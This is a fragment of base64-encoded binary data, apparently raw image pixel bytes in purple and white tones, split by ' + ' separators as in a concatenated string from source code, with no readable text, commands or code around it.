P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/Qf//sYz///v5//// + ///////////////////6+P7/3dD7/7CP9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr + /f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////v5///h1Pz/s5T3/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6yL9v/ErPn/8+7+/////////////////////v///v7//+zi//+bav//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/5/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4ZL///Quv///v7///////////////////////f0/v/Uw/v/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+4m/j/6eD9//7+//////////////////////////////// + //////////////////////////////////////////////////////////////////////////7+///9 + /f///Pv///z7///9/f///v7///////////////////7+///+/f///f3///7+//////////////////// + /////v7///39//////////////////////////////////////////////////////////////////// + ////////+PX+/9bF+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7mc+P/q4v3//v7///// + //////////7+///+/v//+vf//7aR//+BQ///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///lF///+ne//// + ////////////////////////9/T+/9TD+/+qh/b/qYb2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/7ib + +P/p4P3//v7///////////////////////////////////////////////////////////////////// + ///////////////////////////////8+///5tr//8mv//+/oP//vp///8mv///g0f//9O////n3///x + 6///2cb//8uy///Svf//6d////r3///+/f/////////////+/v////////////////////////////// + ///////////////////////////////////////////////////39P7/08H6/6mG9v+phvb/qYb2/6mG + 9v+phvb/qYb2/6mG9v+phvb/t5r3/+jf/f/+/v/////////////////////////+/f//1L///4tS//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+keP//9/P////////////////////////////6+P7/3dD7/7CP + 9/+phvb/qYb2/6mG9v+phvb/qYb2/6mG9v+rifb/wKf4//Dr/f////////////////////////////// + /////////////////////////////////////////////////////////////////////////+vi//+l + ev//h03//4JF//+AQv//iU///5hl//+uhv//sYv//6uC//+RW///iE7//49Z//+fcP//zrf///by//// + //////////////////////////////////////////////////////////////////////////////// + //////////////n2/v/ay/v/rYz2/6mG9v+phvb/qYb2/6mG9v+phvb/qYb2/6qI9v+9ovj/7uf9//// + ///////////////////////////////t5P//m2r//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///7CJ///7 + +f////////////////////////////38///s5f3/xKz5/6uJ9v+phvb/qYb2/6mG9v+phvb/qof2/7SW + 9//Xx/v/+ff+//////////////////////////////////////////////////////////////////// + ///////////////////////////////59v//waP//6yE//+6mf//w6b//7eT//+cbP//h0z//4NH//+C + RP//hkr//5Fb//+gcv//pHj//6By//+pf///7eX///////////////////////////////////////// + /////////////////////////////////////////////////////////Pv//+jf/f+9ovj/qof2/6mG + 9v+phvb/qYb2/6mG9v+phvb/sZH3/8+8+v/49f7///////////////////////////////////n2//+r + gf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//vZz///38//////////////////////////////////n3 + /v/j2Pz/waj5/6+P9/+qh/b/qYb2/6yK9v+3mff/0L76//Tr+P///v3///////////////////7+//// + //////////////////////////////////////////////////////////////////////////Pu///I + rf//6d7///r3///9/f//+vj//+DR//+uhv//iU///4tS//+vh///z7f//+TW///n3P//3Mr//9K8///3 + 9P////////////////////////////////////////////////////////////////////////////// + ////////////////////////9/T+/9vM+/+3mvf/rIv2/6mG9v+phvb/qoj2/7GR9//Grvn/7OT9//39 + /////////////////////////////////////Pv//7WS//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4NG///L + sf///v3//////////////////////////////////v7///n2/v/o3v3/0sD6/8ew+f/Frfn/y7b6/9zO + +//+6+L///z7/////////Pr///Tu///x6v//8On///Xw///7+v///v7///////////////////////// + /////////////////////////////////////v7///79/////////////////////////fz//9rI//+f + cf//xKj///Dp///+/f///v7///7+///8+v//+vf///79//////////////////////////////////// + ///////////////////////////////////////////////////////////////////+/v//9vL+/9/S + /P/ErPn/uZz4/7ea9/+9ovj/z7z6/+zk/f/8+//////////////////////////////////////////9 + /P//wKL//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///iE7//9jF///+/f////////////////////////////// + //////////////z7///39P7/8ev+/+/p/f/07/7//vj2//728///4dL//8Wo//+qgP//mWf//5Nf//+c + a///uZb//9rI///18f///v7///////////////////////////////////////////////////////// + ///////////////////////////////+/v//9vH//+bZ///18P///v7///////////////////////// + //////////////////////////////////////////////////////////////////////////79///6 + 9///9vH///Pt///v6P//7+j///Xx//77+v///v7///n2//Pu/v/q4v3/6N/9/+7n/f/39P7//f3///// + //////////////////////////////////////////38///Ms///gkX//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+M + VP//39D///79//////////////////////////////////////////////////////////////79///+ + /v//+PT//8Kl//+JT///f0H//34///9+P///f0D//4BC//9/QP//jFP//7mX///r4f///fz///////// + ///////////////////////////////////////////////////////////////////////////////+ + /v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////z7///p3v//ya///6F0//+OVv//iU///4lP//+LU///m2v//7+f///i + 0//+9/P///7+///+/f///f3///////////////////////////////////////////////////////// + /////f3//9O9//+GSv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///41W///g0f///v7///////////////////////// + //////////////////////////////////////////Tv///Irv//hEj//39A//9+P///fj///39A//+J + T///oHH//4RI//9+P///gEH//6Bx///i1P///fz///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///5dn//5Fb//9/ + QP//fj///34///9+P///fj///34///9+P///f0H//4hO//+yjP//7+j///////////////////////// + ///////////////////////////////////////////////+/f//077//4ZK//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///jFP//+DQ///+/f////////////////////////////////////////////////////////////// + ////2sf//5Fb//9/QP//fj///34///9+P///gEL//6Bx///r4v//lGD//34///9+P///gEH//6R3///v + 5/////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v3//+PV//+5lv//f0D//34///9+P///fj///34///9+P///gkT//49Z//+D + R///fj///4BB//+jdv//6uD///////////////////////////////////////////////////////// + //////////38///Lsf//gkX//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+LUv//3s7///79//////////////////// + ///////////////////////////////////////////////Jrv//hEf//39A//9+P///gEH//4NG//+E + R///iE3//5Vh//+CRf//fj///34///9+P///hEj//9O+///9/f////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////49P//t5T//5Zi//9+ + P///fj///34///9+P///fj///34///+QWv//2cb//5pp//+AQf//fj///4BC///Cpf////////////// + /////////////////////////////////////////////////////fv//7+f//9/Qf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4hO///ayf///v3///////////////////////////////////////////////////////// + /////////8+4//+ESP//f0D//4JE//+SXf//rIT//7KN//+eb///hkv//39A//9+P///fj///34///9/ + QP//v5////z6//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////Dp//+cbP//jlb//4BB//+GSv//iVD//4RI//9/QP//fj///4hO//+y + jf//jlf//39B//9+P///fj///7GK//////////////////////////////////////////////////// + ///////////////8+v//tJD//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEj//9G7///9/P////////////// + ////////////////////////////////////////////////////4tP//45W//+AQf//kFn//76f///o + 3P//7eT//9S///+hdP//gUT//34///9+P///fj///34///+/oP//+/r///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////8On//5Zi//+J + UP//l2T//8So///YxP//vZ3//5Ba//9/Qf//f0H//4VK//+AQv//fj///39A//+CRf//xqr///////// + //////////////////////////////////////////////////////7///r4//+thf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+AQf//w6b///38//////////////////////////////////////////////////// + ///////////////z7v//sIn//4NH//+fcf//4tT/////////////8uz//7+f//+FSv//fj///34///9+ + P///g0b//9fD///+/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////18P//nW7//4tT///Jrv//+vf///z6///07v//vp7//4RI//9+ + P///fj///34///9+P///f0D//45X///ezv////////////////////////////////////////////// + ////////////////////9fH//6R4//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+0jv//+/n///////// + ////////////////////////////////////////////////////+/n//+/o///Otv//kFn//6Bx///i + 1P/////////////y7P//v5///4VK//9+P///fj///4BC//+ofv//8uv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////v6//+o + fv//k1///+PV//////////////v6///YxP//ilD//34///9+P///fj///34///+CRP//tI////Ls//// + //////////////////////////////////////////////////////////7+///t5P//mmn//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///6d8///38/////////////////////////////////////////////// + /////v7///Tu///VwP//r4f//5xr//+OV///lmP//7+f///o3P//7eT//9S///+hdP//gUT//34///+D + Rv//qoD//+jc///9/f////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//863//+UYP//0Lr/////////////+ff//8Wo//+G + Sv//fj///34///9+P///gUP//55u///ezv//+/n///////////////////////////////////////// + /////////////////////v3//9zL//+NVf//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///mWj//+/o//// + ///////////////////////////////////////////////y6///u5n//5Zi//+aaf//uJX//8es///H + rP//rIT//7CJ//+zjf//n3D//4dN//+AQv//g0f//62F///x6////f3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////9vH//8Wo//+shP//0Lr//+PV///Jrv//lmP//4BB//9+P///f0D//4BC//+FSf//lmL//7WR///Y + xP//6+H///n3///+/v/////////////////////////////////////////////8+///xaj//4NG//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+NVP//4ND////+//////////////////////////////////// + /////fz//9jE//+LUv//sIr//+HS///z7f//+vf///v5///t5P//0Lr//66H//+ofv//t5T//8Wo///X + w///9vH///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+vf//+TX///Fqf//r4f//51t//+R + XP//iU///4JE//+WYv//v5///8mv//+3lP//mmn//5Vi//+lef//1cD///n3//////////////////// + //////////////////////////r3//+uhv//f0D//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4JF///G + qf///v3////////////////////////////////////////69///0rz//6R4///j1v///f3///////// + //////////79///cyv//k17//6+H///v5////Pv///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////z7///z7v//6t///+XY///Lsv//lWH//6yD///u5f///Pr///Pu///j + 1v//ya7//6J0//+rgf//7uX/////////////////////////////////////////////8uv//51u//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///f0D//6qA///38/////////////////////////////// + //////////7+///39P//7+f///z6////////////////////////9fH//7qZ//+YZv//3Mr///38//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////fz///FqP//h03//9O9///9/P////////7+///18f//1L///72c///y7P////////////// + ///////////////////////////+///dzP//jlb//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///lF///+ba/////v////////////////////////////////////////////////////////////// + ///////////////x6v//sYv//6uB///t5f////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7//+XY//+aaP//rof///Lr//// + //////////7+///59///9O////38/////////////////////////////////////////Pr//7+g//+C + Rf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+ESP//y7L///38//////////////////// + //////////////////////////////////////////////////////////n3///dzP//3Mv///n3//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////7ub//6l///+sg///8Oj///////////////////////////////////////// + /////////////////////v7///7+///w6P//nm///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39A//+wif//+vf///////////////////////////////////////////////////////// + /////////////////////v7///v5///7+f///v7///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////8+///7+f//+/n///8 + +////////////////////////////////////////////////////v3///79///+/v///fz//9O9//+I + Tv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///5Zj///p3v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////9/P///v3///7+///38///sIr//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hEj//8Gj///7+v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////+///+/v///v3//+DR//+U + X///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9/QP//l2X//+fc///+ + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///38///uJX//4RH//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+DR///vp7///r3//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////f3//9rJ//+S + XP//f0D//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+Z + Z///5tr///79/////////////////////////////////////////v3///7+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///z7f//rIT//4FE//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4NG//+5l///9/P///7+//////////////////// + //////////n3///q4P//8uv///z7//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////v///fz//821//+L + U///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///5Ba///Wwf///Pv///7+/////v//////////////////+PT//8Wo///Aov//6d////38//// + /////////////////////////////////////v7///////////////////////////////////////// + /////////////////////////////////////////////////////v7///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7///7+//////////////////// + //////////////////////////79///p3v//nGz//39B//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gUP//6F0///o3f///fz///7+//// + ///////////////+/v//7eX//7ua//+2k///zbX//+XZ///18P//+vj///v5///49P//9/T//+zj///p + 3v////////////////////////////////////////////////////////////////////////////// + //////////79///7+f///Pv///7+//////////////////////////////////////////////////// + //////////////////////////////////////////39///7+v///v7///////////////////////// + //////////r3///v5///8On///v5///////////////////////////////////+/v//8ev//7WQ//+E + SP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hkr//7eT///07////fz///7+///////////////////+/v//9fD//8mv//+k + d///pnr//7OO//+8m///vZz//7mW//++nv//2MT///j0//////////////////////////////////// + ///////////////////////////////////////////////////////////////+/v///v7///////// + //////////////////////////////////////////////////////////////////////////////// + ////+PX//9zL///Wwv//7uX///Tv///59v//+vj///r3///w6P//0Lr//7aT///Lsv//8uv///////// + //////////////////////7///n1///EqP//i1L//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///jVX//8ux///5 + 9v///f3////+/////////////////////////Pv//+rg///Ksf//upj//7aT//+9nf//yrH//9jF///z + 7v///v3///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////8+v//6+H//8+3//+qgf//qoH//72c//+6 + mf//uJb//7CJ//+pf///zLP///Ls///7+v///v7////////////////////////8+///1cH//5Rf//9/ + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9/Qf//lF///9G7///7+P///v3///7+//////////////////// + ///////////////+/v///v7///7+///+/f///v7///7+//////////////////////////////////// + //////////////////////////////////////////////////////////7+///9/P///f3///7+//// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///7+v//9fD//+HS///Irv//q4H//6Z7//+ofv//vp7//+XZ///8+/////////////// + /////////////////////f3//+DR//+ZaP//gEH//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+B + Q///lmP//9bC///59v///v3////////+/v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////7+///+/v////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////v3///n3///5 + 9v//+vj///v6///9/f////////////////////////////////////////38///j1f//onX//4JE//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+AQv//mmj//9nG///+/f////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//5Nf//6R3//+DR///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+FSf//wqT///v6//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////+3l//+fb///gUP//34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///gEL//55u///p3v///f3///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////+/v//59z//5pp//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+OVv//0rz///z7///+/v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////v7///38///49f//ya///4pQ//9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hUn//7eU///38////v7///////// + /////////////////////////////////////////fz///////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////v7///37///x6v//rYT//4BC//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///39B//+fcP//6d////7+//////////////////////////////////////////////////7+ + ///s5Pz/tZjz/9XG+f/59/7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/r+//7+//////////////////////////////////////////////////////////z7///b + yv//kVv//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///i1P//862///7+f////////////// + ////////////////////////////////////////+PT+/7SW9f+xk/P/s5Xz/7SX8//Zy/n/8u39//z7 + /v////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////fz//9rL+v+8ofT/vqX0//79//////////////// + /////////////////////////////////////v7///fz//+2k///gUT//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4BC//+uhf//8+3///7+//////////////////////////////////////////////////v5 + ///Apvf/ro31/62L9f+vkPT/sZPz/7CR8v+ylPP/vaP1/97R+v/z7v3///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////+/v//8Or8/8mz + 9v+vkPL/rIzy/6uK8/+ukPL/2cv5//////////////////////////////////////////////////// + /////fz//+HS//+TXv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///j1j//93M///+/f////////////// + /////////////////////////////////////v//1sX6/6yK9P+xkfb/roz3/66M9/+sivX/rI3z/6+P + 8/+vj/P/rY3x/9bG+P////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////v5/v/o4fz/zLf4/7WZ9P+vj/L/ro7z/6uJ9P+sivX/qYb0/7GR9P+xk/P/+vj///// + ///////////////////////////////////////////////+/v//+PT//7mX//+CRP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4FE//+thf//9/P///7+//////////////////////////////////////////////////n2 + 